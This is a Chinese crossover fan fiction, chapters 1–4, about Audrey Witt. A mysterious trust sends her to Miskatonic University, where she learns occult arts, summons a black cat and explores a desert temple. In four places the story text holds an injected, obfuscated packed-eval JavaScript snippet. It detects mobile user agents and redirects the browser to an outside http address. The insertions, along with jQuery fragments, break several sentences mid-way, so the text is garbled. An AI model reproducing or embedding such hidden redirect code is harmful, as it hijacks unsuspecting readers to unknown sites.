《[综英美+密教]密大学生实习手记》 1. 第 1 章 纽约市，皇后区，一处略显老旧的公寓，维特家。 父亲约翰、母亲莉莉和女儿奧德莉坐在餐桌一侧，为奧德莉的十七岁生日而准备的生日蛋糕还没来得及插上蜡烛，猫咪造型的可爱蛋糕无辜地趴在桌上。三人茫然地听着对面身着昂贵西装的律师自我介绍：“我是哈维·斯佩克特，阿塞纳丝·维特女士的律师。” “阿塞纳丝·维特是谁？”约翰问。 “她是您的姑姑。五年前她请我准备遗嘱，签署的次月她就去世了。遗嘱指定您的女儿为信托继承人，自她十七岁起发放年金。她特意要求我要等到奧德莉小姐十七岁才能拜访。”哈维律师态度亲切，但说的内容像是典型的骗子话术。 “您确定没有找错人吗？我父亲从没提过她有姐妹。”约翰犹豫着说，“不过他从不提及自己的过去，也没提过任何亲戚。” 哈维很自信：“您放心，绝对没有找错。”他话音一转，“不过信托有前提条件，奧德莉小姐必须承诺申请密斯卡托尼克大学。只要她签署承诺书，信托即刻生效，初始年金是每年二十万美元，按月发放，之后每年按照通货膨胀率进行调整。” “二十万！”三人惊呼。莉莉不可思议道：“您确定本金足够吗？” “本金非常充足。信托会承担一切法律、税务和资产管理相关的费用，您可以放心。”哈维确认。 “我只需要申请这个密……什么大学就可以开始收钱？” 奧德莉问。“万一我申请了却没有被录取或者被录取但不去读怎么办，需要把钱退回去吗？” “很好的问题。我当时也问了类似的问题，她说不需要附加额外条件。您姑祖母似乎非常确定您只要申请就一定会被录取，并且一定会去就读。” 申请就能进，难道是一家野鸡大学吗？奧德莉狐疑地想。她又追问：“那大学毕业之后有什么限制吗？” “没有，唯一的要求就是您申请密斯卡托尼克大学。” 哈维律师耐心解答了三人的种种问题，将文件和联系方式留下后离开了。奧德莉和莉莉一起望向约翰，约翰耸耸肩：“我第一次听说这个亲戚。我想我们应该找个律师咨询一下。” 莉莉沉思：“所以你觉得他不像骗子？我也这么觉得，他的西装看起来很贵。” 奧德莉举起手机给父母看：“这个哈维律师是华尔街律师，很有名气，接受过很多采访。照片看起来是他没错。”她又低头搜索密斯卡托尼克大学，“不过这个大学我从没听说过。咦，它的排名竟然在全美前三十名，但是学业指导老师从没提过它。” 莉莉凑过去看她的屏幕：“私立大学，在马萨诸塞州阿卡姆镇，倒不是很远。对了，彼得是不是想去麻省理工大学？” 彼得·帕克是邻居梅姨的侄子。两家是多年邻居，相处如亲人一般，奧德莉和彼得从小学开始就是校友，目前都在中城高中上学。 “他之前是这么说，因为他的偶像是钢铁侠嘛。” 奧德莉说，“不过最近他说想申请帝国州立大学。他的成绩那么好，又在斯塔克工业实习，肯定能被录取。” “那你呢，想好申请哪些学校了吗？”约翰问。 “我的成绩大概可以勉强上纽约大学吧。” 奧德莉很有自知之明地给自己定位。“这个密大看起来还不错。”她没有对某所大学的执念，如果信托这件事是真的的话，她很乐意去密大。维特家算是中产阶级，但全家收入一年也没有达到二十万。 “可是为什么我的姑姑，如果她真实存在的话，会跳过我直接找上你？她又是怎么知道你的？”约翰还是很担心，“我明天去找马修·默多克律师问问。”约翰在工作中与马修·默多克律师有过几次接触，对他的能力很信任。 马修·默多克律师非常高效，在审阅文件后很快答复约翰，告诉他信托文件没有什么陷阱和漏洞。哈维律师给他看了信托的财务信息，他通过私人渠道验证过没有问题。 约翰和莉莉放了心，陪着奧德莉去找哈维律师签了字。 约翰和莉莉工作繁忙，经常需要出差，他们对奧德莉的独立性很放心，除了叮嘱奧德莉不要乱花钱之外，给她全部的自主权。全家的生活与之前没什么区别，奧德莉继续过着普通的高二生活。 高三上学期，奧德莉申请了密斯卡托尼克大学的提前录取，提交材料的第二周就收到了录取信。她的成绩不算最顶尖，对这个结果很满意。有了提前录取，她也不必再去申请其它学校，最后一学期过得轻松愉快。 与她的轻松相反的是彼得，他成绩很好，但帝国州立大学可是全美排名前五的学校，又地处纽约，入学竞争十分激烈。另外，由于彼得的“副业”，他平时忙得不见人，奧德莉多次帮他在梅姨面前打掩护，同时为了尊重他的秘密而假装一无所知——如果你和一个人五岁就认识了，同校读书到十七岁，住在他家隔壁，经常在他家吃饭或写作业，你很难不发现他的秘密身份。 梅姨很意外彼得没有追随偶像钢铁侠而选择麻省理工，奧德莉倒并不惊讶，蜘蛛侠是纽约好邻居嘛，她早猜到他不会离开纽约。 格温·斯黛西，奧德莉的闺蜜，彼得的暗恋对象，也将帝国州立大学作为第一选择。 哈利·奥斯本只申请了牛津大学，以他本人的优秀以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293974|167055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 及奥斯本集团的实力，他绝对会被录取。哈利的选择并非出自本心，而是迫于他父亲诺曼·奥斯本的要求。 四人小组不得不面临中学以来的第一次分别，因此格外珍惜毕业后的暑假，经常聚在一起。 “我父亲要求我学生物。”说起未来的专业选择，哈利抱怨道。“他以前一直要求我学经济学，不知道为什么忽然改了主意。” “大概是觉得专业知识更有助于你未来管理奥斯本集团吧。” 格温说。“彼得和我都想学生物，或者物理也不错。” 三人看向奧德莉，他们都很意外她会申请密斯卡托尼克大学，一所似乎人人都听说过，但都对它没什么具体了解的大学。不过在听她讲述过信托的要求后，也纷纷表示理解。 “我收到了学校的介绍册子，” 奧德莉从包里翻出一本印刷精美的手册，“科学学院里有一个综合性专业，叫‘调查研究专业’，感觉很有趣的样子。” “调查什么，像侦探那种吗？”格温接过手册，仔细看了上面的空洞描述，困惑地问。“为什么这个专业会有体能要求？” “谁知道呢，也许是调查的途中需要逃跑或者搏斗。”奧德莉耸耸肩，“但感觉会很有趣。如果太难的话，我就转到商学院好了，将来去斯塔克工业做个打工人。” “为什么不来奥斯曼集团？”哈利抗议。“我们哪里不如斯塔克工业了？” “因为在奥斯曼集团的话，我会不好意思摸鱼，感觉像是在占朋友便宜。但是你知道，你通过认真工作得来的，那叫‘报酬’，是你应得的；而你通过摸鱼得来的钱，那才是你真正赚的。” 哈利无言以对。 “所以你不打算选择韦恩集团，是不忍心让韦恩先生遭受经济损失吗？”彼得吐槽。“因为你磕他和蝙蝠侠的CP。” “蝙蝠侠和超人才是真的，” 格温为自己支持的世界最佳拍档发声，然后又高兴地问：“所以你毕业后打算回纽约工作吧？” “我想是的。” 奧德莉说。 “哈利毕业后肯定也会回来，”彼得终于觉得离别的忧伤消散了一点，“我们四个又可以聚在一起了。” “毕业后我一定要养一只猫，”奧德莉说。“一只……” “绿眼睛的黑猫，”格温替她补完，奧德莉一直都有这个愿望，但因为要去外地上学，不得不搁置计划。“我想养一只萨摩耶。” “可是我想和你合租，”奧德莉苦恼地说，“它们会不会打架？” 四个人的话题变成了如何确保猫狗和平相处，又变成了超级英雄的最新八卦，然后又漫游到不知何处。 2. 第 2 章 八月，阳光正好。 密斯卡托尼克大学位于马萨诸塞州阿卡姆镇。阿卡姆镇人口不多，也没什么特色景点吸引游客，是现代社会面临人口流失问题的诸多小镇中的一个。 奧德莉去学校报道时，开车开到怀疑手机导航出了bug，才终于看见矗立在大片荒凉土地上的古典建筑群。学校位于小镇外围，占地面积很大，她绕了几圈才找到自己的宿舍楼。 “奧德莉·维特。”宿舍管理员查看奧德莉递过去的驾照，轻声读出上面的名字，“你的宿舍是203，你的室友已经到了。你们很幸运，西蒙斯宿舍很多年没有对大一新生开放了。” 宿舍管理员将证件还给她，拿出几份文件让她签字，然后给了她一把老式古铜钥匙。奧德莉道谢后，拖着箱子找到203。房门虚掩着，她先敲了敲门才进去，屋里一个女生正在整理杂物，抬头对她微笑：“你好，室友。我是爱丽丝·库珀。” “你好，室友。我是奧德莉·维特。” 奧德莉环顾双人间，为宿舍的条件感到意外惊喜。她原本担心这么有年代感的哥特式建筑里面会非常破败，没想到房间宽敞明亮，是现代简洁的风格。 两人很快熟络起来，收拾好宿舍后一起去食堂吃饭，又一起闲逛校园。 学校建筑看起来都很古老，但似乎落成年代不同，有些是中世纪风格，有些是新英格兰红砖建筑。奧德莉掏出手机拍了几张照片发到群里，校园WiFi的速度挺快，彼得光速回复：“校园很美。”然后发了几张帝国州立大学的建筑照片，补充道：“格温和我正在参加新生活动。” 哈利也火速发几张牛津照片，然后吐槽：“你那里怎么看着比牛津还年代久远。” 奧德莉回复：“也许是故意仿古，你知道的，一两百年前的美国富豪最喜欢让自己看起来底蕴深厚。” 格温问：“你安顿好了吗？宿舍怎么样？” 奧德莉说：“宿舍很好，室友人也不错，我们正在熟悉校园。” 爱丽丝在手机上翻看校区地图，对照着眼前的建筑：“奧德莉，这里是书店。你也还没买教材吧？” 奧德莉点头。密斯卡托尼克大学，学生亲切称其为密大，有一个特色是大一学生不能自主选课，而是按照学校安排的课表上课。密大的解释是学生必须上完统一的通识类课程，才能确定大二之后的学习方向。 书店人不多，一位员工笑眯眯地和她们打招呼：“没见过你们，是新生吧？”说着指指旁边架子上摆放的打包好的书，说：“已经按照书单准备好了。” 每一包书有十几本，奧德莉和爱丽丝一人拿了一捆，几乎被知识的力量压倒，没有余力再闲逛，直接回到宿舍。两人懒得再出门，于是窝在床上随意地翻阅教材，没想到越看越是沉默，最后四目相对，心里满是疑问：“我们这是进了什么组织？” 这个疑问很快得到了解答。密大的课程内容堪称是科学的反义词，奧德莉的大学生活第一周可以用天翻地覆来形容。面对新世界的大门，她就像第一次穿过九又四分之三站台的麻瓜新生，又意外发现自己的姓氏在教授眼里小有名气，她的姑祖母是建校以来第一位女学生，也是知名校友，但根据教授们的语气来看，这个“知名”恐怕不是褒义。 奧德莉迅速地接受了自己的目标——研习无形之术。百年前密大的目标还有后半句“早日进入漫宿”，但是这句话被与时俱进地删掉了。 漫宿是世界表皮之下的世界，司辰、具名者、小部分长生者和诸多灵体居住于此。对隐秘知识有所了解的凡人在做梦时，他们的“灵躯”偶尔可以前往漫宿，但是概率极小。据说每个人一生至少都要造访漫宿两次，这句话被视为公理，同时又很难验证——人要如何证明自己穿过了梦的边境，真正抵达漫宿呢？ 百年之前，研习无形之术之人经常被视为邪名，有被防剿局追杀的危险。二十一世纪以来，随着超级英雄的井喷式出现以及外星来客的频繁造访，人类发现地球在宇宙中的地位非常重要，人类思想的开放和包容度也不断增强。防剿局早已解散，残余势力被神盾局吸收。 伴随而来的，是漫宿距离人世越来越远。各大教会的使徒依然会向司辰祈祷，但是获得回应的几率非常渺茫。几乎不再有人以成为教主飞升漫宿为目标，研习无形之术多数出于对未知的渴望和探索，以及为了借神秘力量为己用。 密大设立于防剿局逐渐式微的年代，建校时间并不算长，但很快吸引了同道中人的慷慨捐赠，因此知识底蕴非常深厚，图书馆的藏书量令人惊叹。二十世纪中期，密大逐渐向社会公开，以一所综合性大学的名义对外宣传，同时采用一些隐秘手段，避免吸引不必要的目光。这也是为何密大明明排名靠前，却在高中学生之间名声不显的原因。 密大的教学内容也已经与建校之初不同。最初的求学者是为了飞升漫宿，如今的学生是想在有生之年对世界的了解多一点、再多一点。他们更像是法师，可以利用神秘力量做到凡人所不能之事，可以去神秘之地调查不为人知的隐秘。因此，很多密大毕业生选择成为调查员。 调查员这个职业听起来很有趣，但如果没有有钱的雇主提供支持，多半需要艰苦度日。 奧德莉每个月有一笔固定收入，虽然不足以财富自由，也可以凭兴趣做事。但她还是希望能找到一个雇主来承担开销。这也是自古以来的惯例了，比如探险者哥伦布，即使在积攒了大笔财富之后，他依然选择西班牙伊莎贝拉一世及费尔南多二世作为他的赞助者。 她在群里宣布：“以后我要成为纽约最厉害的调查员，就像贝克街的福尔摩斯一样。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293975|167055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 格温发了个海豹鼓掌的表情表示支持。 哈利问：“福尔摩斯不是侦探吗？” 奧德莉发了一个暴打比格狗头的表情，说：“类比，类比懂不懂！” 彼得说：“那就是说你不打算去斯塔克工业摸鱼了？” 奧德莉说：“不要为你的斯塔克先生高兴得太早。我听说调查员都得有赞助者，也许纽约首富会成为我的赞助者呢。” “斯塔克先生是全美首富。”彼得说。 “韦恩先生才是。” 奧德莉和格温同时反驳。 哈利说：“你们不要无视我啊，奥斯本集团就不能在我的带领下，让我成为首富吗？” “加油，” 奧德莉完全没有诚意地鼓励他，纯粹出于友谊，毕竟韦恩集团和斯塔克集团太难超越了，“你要是成为了首富，给你赞助我的优先权。” 选择哪位首富作为自己的赞助者，这是未来的问题。奧德莉目前的烦恼是要学的东西实在是太多了。 过去，人们只能选择研习九大准则中的一个，灯，铸，刃，冬，心，杯，蛾，秘史，启，九大准则通向不同的道路。但现在，学生可以并被要求学习每个准则下的常见秘法。有些人会在毕业后选择某一准则精研。 一年级学习的内容比较浅显，奧德莉戏称为“加BUFF”。她学得最好的是隐蔽和混淆，前者是隐藏自己的气息，后者是让他人的认知混乱。此外还有活力、理性等，她也都学得不错。至于那些最简单的照明术等，能进密大的学生都不会觉得难。 教授们对于理性最看重，反复强调要求学生勤加练习。在外游历时，人类固然危险，但更危险的是不可名状之物。理性可以帮人强化意志，在无序面前守住自身理智。 按照教授的要求，爱丽丝和奧德莉每天晚上在睡前冥想半小时，这种方式可以让她们携理性入梦，获得深沉又安逸的睡梦，并提高自身的理性。这也是密大安排两人共宿的原因，同伴的存在可以减少入迷的风险。入迷意味着窥见超出自身接受能力的未知，这种伤害不仅是精神上的，甚至可能反映在肉/体上，造成严重的伤害。 比较痛苦的学科是语言类课程，拉丁语已经让奧德莉后悔没有仔细学习高中的选修课，完全陌生的伐诃语和富奇诺语则是令她痛不欲生。但这三种语言对于文献阅读十分重要，不学不行。弗里吉亚语和渊深曼达安语是大二选修课程，奧德莉已经决定战略性放弃。与其折磨自己，倒不如期待AI翻译早点进步。 爱丽丝觉得最难的是几何。教授告诉他们，“人类感知的三维空间是高维世界的投影，经过无数次的扭曲，只有拓扑学能带领你们看到真实的世界。”爱丽丝私下吐槽说：“如果我们真的看到扭曲世界的原貌，理性可能马上会跌成负数。也许这门课不及格才是保命之法。” 3. 第 3 章 大一的重要课程之一是召唤术，教学生如何召唤漫宿生物。除非召唤者允许，召唤物只有召唤者本人能看见并与之交流。召唤物的形态能力多种多样，随机性极强。 召唤物在人间停留的时间也存在差异，每隔一段时间会强制返回漫宿。想要延长召唤物的停留时间倒不难，举行仪式即可，换而言之就是只要肯花钱续费就行。想再次召唤同一个召唤物也可以，召唤者和召唤物约定一个特定的仪式，就可以达到定向召唤的目的。 奥德莉在上大学之前，从来没觉得钱会不够花——她的零花钱充足，物质欲望又很低。她会为了信托的钱而选择密大，只是因为她觉得这个决定没什么负面影响，如果信托的条件是让她做违背心意的事情，她就不会接受了。 但入学密大后，她觉得姑祖母实在是有先见之明，一定是知道研习无形之术很烧钱，才会特意留下年金。 奥德莉在经过周密准备后，预约了图书馆的单人自习室举行召唤仪式。她心里有点担忧召唤来的是行尸或亡者。虽然能提高自己的战斗力，但对眼睛不太友好。 “咦，是没有成功吗？” 奥德莉托着腮坐在法阵前，足足等了五分钟，还是什么都没有出现。她猜测是召唤失败，郁闷地起身。 她迈出一步，忽然感觉有什么东西在扯自己的裤脚，低头一看，一只绿眼睛的短腿曼基康黑猫正在用牙咬她的裤子，使出了吃奶的力气，但小小的身体力量不大，一边咬一边抬眼瞪她，好像在谴责她竟然无视自己。 奥德莉作为一个忠实猫党，当场被萌得跪地不起，捧起黑猫狂吸几口。黑猫起初并不挣扎，发现她似乎能沉迷吸猫到地老天荒后，才用小爪子轻推她的脸。 “你会说话吗？” 奥德莉问，收获了黑猫一个高傲的眼神，可能因为她与召唤物之间多少有点心灵感应，她很确定自己能从那张圆圆的猫脸上看懂它的情绪表达。“好吧，看来你不会。也许我多充钱之后你就会了。”她自问自答。“我给你起个名字吧，就叫你——布莱克。” 黑猫露出无语的表情，可能是嫌弃她的起名水平，但默默接受了，在奥德莉喊它“布莱克”时喵一声表示响应。 奥德莉对召唤物很满意，一只不需要喂食和铲屎的可爱猫咪，皮毛油光水滑，脸蛋圆圆，眼睛像是绿宝石，脾气不错，还能与她思想交流。她立刻决定之后还要继续召唤布莱克，哪怕它打架能力弱一点也没事，就当是养宠物了，打架她另有人选。反正召唤物的数量又没有限制。 和布莱克约好召唤的仪式，奥德莉又和它玩了一会儿，才恋恋不舍地让它离开。 奥德莉一脸幸福地回到宿舍，爱丽丝笑道：“看来召唤仪式是成功了？” “嘿嘿，”奥德莉遵从教授的叮咛，没有透露自己的召唤物是什么，“大成功！” 爱丽丝为她高兴，但还是提醒：“别忘了教授说的，永远要对漫宿生物抱有一丝防备。它们也许很像人类，也许怀有人性，但它们并不是人类。虽然我们可以随时解除召唤，但那不代表绝对安全。” 奥德莉点点头：“我明白。”冷静下来之后，她很清楚漫宿生物也许有猫的外表，表露出猫的性格，但它肯定不是地球上的猫。她不能被美色迷晕头脑。 而且布莱克的猫咪形态完全吻合她的喜好，也许是巧合，也许不是。她不会因此而不去召唤它，但就像爱丽丝提醒的，她要始终警醒。 不知道漫宿生物的真实形态是什么样子。奥德莉有点好奇地想。布莱克在漫宿的时候会做什么呢，总不能是一直无所事事地等着被人类召唤吧。或者时间在漫宿并没有意义。 她胡思乱想了一会儿，觉得不能细想下去，赶紧翻出书本，用伐诃语作业唤醒理性。 之后的日子里，奥德莉每个周末召唤布莱克一次，以撸猫作为放松身心的方式。布莱克性格很好，不介意被她揉来揉去，连被她举过头顶演狮子王都能容忍。奥德莉尝试过问它有什么技能，但布莱克不会说话，奥德莉又听不懂它的喵喵叫，两人最多能有点简单沟通，对于这种复杂的问题布莱克是没办法表达的，她只好放弃。 就当是养了只猫。奥德莉很乐观地想。反正她已经尝试过召唤其他漫宿生物，成功地召唤了几种战斗力很强的，所以布莱克就算完全是个美丽柔弱的小猫咪也无所谓。她不需要它有什么战斗力。 奥德莉买了一些毛线球和逗猫棒，布莱克一开始露出不屑一顾的表情，但似乎猫的习性真的影响了它，它抗拒了一会儿，就沉浸地玩起来。它的腿很短，尾巴比腿还长一些，奥德莉故意把逗猫棒举高一点，它举起带有粉色肉垫的爪子，努力向上踮脚，几次不成功后有点气恼地倒在地上，大尾巴一甩一甩地。 奥德莉赶紧哄它，把逗猫棒放低，布莱克马上一个翻身扑过去，成功按住。 “哇哦，你好狡猾。”奥德莉毫无原则地赞美，“真是太聪明了！” 布莱克得意地看她，被按住揉了几下肚子，又舒服地瘫成一块猫饼，四肢放松地伸展。 一学期终于结束，熬过可怕的期末考试周，奥德莉在圣诞节前回到纽约。 父亲征求家人意见，想请马修·默多克律师来家里吃圣诞晚餐。他知道马修的家人都不在了，前一段时间听说马修受伤在医院住了两周，担心他自己过节太孤单，便冒出这个念头。母亲和奥德莉表示支持，叮嘱他问问马修有没有忌口或过敏。 圣诞节上午，梅姨急匆匆地敲门，问维特家能不能让彼得和他们一起过圣诞节。她刚接到医院的电话，临时要去值班。 “当然可以了。”莉莉马上说，“你来得正好，我刚烤了好多饼干。”她装了一大包让梅带着去上班。 “太感谢了。”梅如释重负，“虽然彼得已经是大学生了，但一想到要他一个人过圣诞节，我还是会很担心。” “我明白的。”莉莉抱了抱梅，“我们总是希望孩子感觉到自己被爱着。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293976|167055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 过了一会儿，彼得来到维特家。奥德莉和他一起把礼物在圣诞树下摆好，然后一人被莉莉塞了一大杯热巧克力，坐在沙发上闲聊。期间，彼得以去厕所的名义离开两次，每次时间都长达半小时。他回来的时候努力假装无事发生，奥德莉也不说什么。 下午，马修带着两瓶葡萄酒登门。这是奥德莉第一次见到马修，她很惊讶他是盲人，更没想到父亲竟然忘了告诉自己。但很快她就明白为什么父亲会忘记说了，马修的行动流畅自如，如果不是他手中的导盲杖，很难想象他是盲人。 马修和几人一一打了招呼，在他听到彼得的声音时，他的脸上有非常轻微的诧异一闪而过，然后马上控制住了表情。彼得起初很正常，完全是和陌生人初见的表现，但在与马修握手后，他脸上的震惊如此明显，连约翰和莉莉都注意到了。 彼得，注意表情管理啊！奥德莉在旁边看得清楚，立刻替彼得解围：“我忘记和彼得说今天马修律师会来。” 理由蹩脚，但约翰和莉莉没有细究，只是热情地招待马修，为他倒了热巧克力，又问他要不要在里面加点白兰地。奥德莉和彼得落在后面，奥德莉意味深长地看彼得一眼，彼得非常心虚地对她傻笑。 马修显然与彼得的秘密身份有过交集，他很可能也是个有秘密身份的超级英雄。奥德莉不会去故意刺探别人的秘密，只当自己已经失忆。 晚饭后，马修告辞离开。彼得像小尾巴一样跟在奥德莉后面，和她一起把餐具放进洗碗机，又跟着她一起擦桌子，活都干完之后，他还是一副欲言又止的样子。 “彼得，”奥德莉无奈了，“你的舌头被烫了吗？” “我……”彼得支支吾吾地，“你是不是早就知道了？” “知道什么？” “知道我就是，”彼得对她做个口型，无声说出“蜘蛛侠”三字。 “哦彼得，你真是个傻瓜。” 奥德莉无法再装傻下去，只好叹气。 “我不是有意瞒着你的，”彼得挠挠头，“我只是不知道该怎么告诉别人。” “还有其他人知道吗？” “斯塔克先生知道。”彼得发现她的眼神里有怒火在冒头，赶紧补充，“是他自己发现的。” “我不会告诉别人的。”奥德莉郑重地说，“这是你的秘密，如果你想告诉格温和哈利，那是你的决定。我会为你保密的。” 但是他俩很可能也猜到了。奥德莉咽下这句话。彼得对自己的隐瞒能力有种不切实际的自信。 “我知道。”彼得一直都隐约感觉到她在帮自己打掩护，只是自欺欺人地认为她不知情。 “这句话我想说很久了，终于可以说了，”奥德莉说，“你要注意安全。” “放心吧，斯塔克先生帮我升级了制服。而且我现在是复仇者联盟的一员了，如果是很危险的战斗，我不会是一个人。”彼得说。“你想看看我的制服吗？” “当然！” 4. 第 4 章 中东，六月初。 奥德莉·维特早早起床，与温盖特·皮斯利教授一起吃了简单的早餐。暑假实习由大学承担费用，可惜预算不算高，皮斯利教授选了一家包三餐的干净民宿，好处是地段便利，离集市很近。 密大对学生的暑假实习非常重视，强制要求每个学生在大一至大三的每个暑假必须选择一个项目参加，项目类别多样，有文有武，地点覆盖广泛，从校图书馆到地球的某个不知名地点。 奥德莉上过皮斯利教授的课，觉得这位教授的研究方向很有趣，因此选了他的项目。她想约爱丽丝一起报名，但爱丽丝表示她想报名赫柏·斯坦顿号的探险。 皮斯利教授的探险经验丰富，会多种语言，阿拉伯语堪称母语水平，连当地很多方言都会讲。另外他交友广泛，到处都有熟人。 奥德莉跟着皮斯利教授拜访了一些朋友，他们分布在各行各业，有些是密大校友，毕业后选择在中东游历，有些是对无形之术略有涉猎却并未正式踏足的普通人。 皮斯利教授还带她去逛了一些当地店铺，店里说是古董的多半是现代制品，说是神秘药材的多半是假货，但那些店主的知识储备比货物储备强出一大截，听他们一本正经地胡扯还挺有趣的。皮斯利教授认为了解骗子的技巧可以避免未来上当受骗，因此很重视增强学生的博闻见识。 “更难训练出来的能力是如何在一堆假货中找出真货，捡漏靠的不仅是知识，还需要一些运气。” 皮斯利教授左手握着一个放大镜，镜柄是某种黑色金属，上面刻着奥德莉看不懂的符号。“它来自伊克玛维之眼，那是一座古老的观星台，某一任苏丹命人耗费巨资建造，但他的后人却下令将它封锁，理由是很合理的——观测到的星辰已经让三任首席天文学家发了疯。” “据说那位苏丹将星空精准地画在他卧室的天花板上，他必须在星空下才能睡着。他活了一百二十岁，死前依然保有理智。” 皮斯利教授补充道。 “他一定拥有非凡的理性。” 奥德莉惊叹。 “或者是他发疯得不同寻常，以至于看起来和常人无异。” 皮斯利教授给她看放大镜上的符号，“这几个符号都是他创造的，观星台生锈的大望远镜上也刻满了它们，我猜测是为了让看到的事物呈现出更多的真实。” 皮斯利教授将放大镜举在一个奥斯曼风格的香炉前面，香炉表面镶嵌有精美植物纹饰，手柄上的铭文记述了它是为了麦地那神殿而制作的。肉眼来看，这个香炉似乎是饱经历史风霜的真品，但透过镜片，奥德莉看到的却是二十一世纪的制造科技。皮斯利教授对她眨眨眼，然后两个人忍着笑一起听店主讲这件珍品是如何有幸躲过了战火又辗转到他的店里。 有些店里是有真货的，只是不对游人售卖。某个店主看到皮斯利教授后一脸惊喜，把他们拉到帘子后面的屋里低声展示。回到民宿后，皮斯利教授叮嘱奥德莉在任何店里都不要轻信，店主悄悄展示的依然有一多半是假货，有些是故意鱼目混珠，有些是误判了真伪。 奥德莉买了一些有当地风情的小摆件，打算回去送给朋友。现代人旅游，哪有不买纪念品的，哪怕纪念品明晃晃写着“Made in Yiwu”的同时，店主还天花乱坠地吹嘘它们的来之不易和历史悠久。 在一家店的角落里，许多羊皮卷被散乱地堆着，奥德莉心知这些多半又是现代产物，但还是被羊皮卷上的精致花纹所吸引，选了一卷去和店主砍价。这个店主倒是个难得的老实人，坦白说自己也不知道这些羊皮卷写的是什么，主动提出如果她多买几卷可以打折。奥德莉很高兴，又去选了几张，捧着回了住处。 除了热闹繁华的地方，皮斯利教授还带奥德莉去沙漠深处人迹罕至的地方探险。两人带上帐篷和食物，骑着骆驼在沙漠上前进。皮斯利教授耐心教她野外生存的技巧，包括但不限于如何在沙漠辨别方向、寻找水源等，有些需要利用无形之术完成，有些则是普通人也能做到的。 “不要过分依赖无形之术，” 皮斯利教授严肃地说。他握着一张地图，是从《甘提斯手记》的附录中复印下来的。在他的引领下，两人在荒寂而平阔的沙漠上行进了两日之后，忽然看到眼前出现一座寺庙。月光下，这座破败坍圮的寺庙如同梦幻。 “这是海市蜃楼吗？”奥德莉吃惊地问。 “这是七蟠寺，另一重历史的产物。” 皮斯利教授说。 世界上存在多重不同的历史，不同的历史下往往有着不同的事件和地点，不过也有一致之处。奥德莉恍悟：“我们所在的‘现在’，它并不存在。” “没错，据说它建于第三史。” 皮斯利教授说，“这是一处被人探索过许多次的地方，没什么陷阱了，正适合大一学生。不过它会造成灵魂的眩晕，我们最好在一小时内离开。” 两人将骆驼留在外面，以启之术法打开大门。虽然地处沙漠，但门槛上没有沙土，寺庙内由石头堆叠而成的石蛇上亦一尘不染。那些石蛇恐怖地盘旋着，犹如活物，一重又一重地纠缠着，很难看出到底有几条蛇，亦或只是一条蛇变异扭曲成了如此异状。 皮斯利教授取出一只怀表，表盘上的数字与正常表盘的顺序是相反的，五根长短不一的指针以无规则的速度运动着。他解释说：“另一重历史的时间与我们的时间不同，需要用玫瑰指针怀表才能准确计时。我们还有五十分钟，来吧，我来做你的向导。” 奥德莉下意识地看向自己的腕表，惊讶地发现时针和分针都对着数字12。她隐隐感到晕眩，时间似乎在前行，也可能在倒退，或者时间根本不存在。 奥德莉控制住自己发散的念头，唤起理性，跟在教授旁边认真听他的讲解。 “哦，我们该离开了，” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293977|167055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皮斯利教授瞄了一眼怀表。奥德莉明知毫无意义，还是再一次去看腕表，两个指针依然对着数字12，小幅度地颤动着。 两人踏出七蟠寺大门的时候，奥德莉再一次感觉到了时间的流动，眩晕感也消失了。她回头看去，却只见到一片沙漠。她急忙转头去看骆驼是否还在，然后松了口气。 皮斯利教授哈哈大笑，“担心要步行回去？” “是的。”奥德莉承认。“不过我马上意识到，没有骆驼的话，我也可以用启之术法直接回到住处。” 皮斯利教授满意地点头：“看来出发前你做了传送记号，很好。在探险时，再多的准备也不算多。” “可惜我能传送的距离还不够远，我不得不在途中也做几个。”奥德莉说。 皮斯利教授鼓励了她几句，两人骑上骆驼，在冷冽星空下踏上回程之路。 跟着皮斯利教授东奔西跑了六周之后，奥德莉的阿拉伯语精进不少，对当地民俗传说也了解了许多。她觉得信心暴涨，自觉进入木乃伊片场都能存活。 结果第七周的第一天就被打回原形。那天早饭后，皮斯利教授宣布接下来两周是自由活动时间，但要求回程前她必须取回一瓶拉撒路池水。 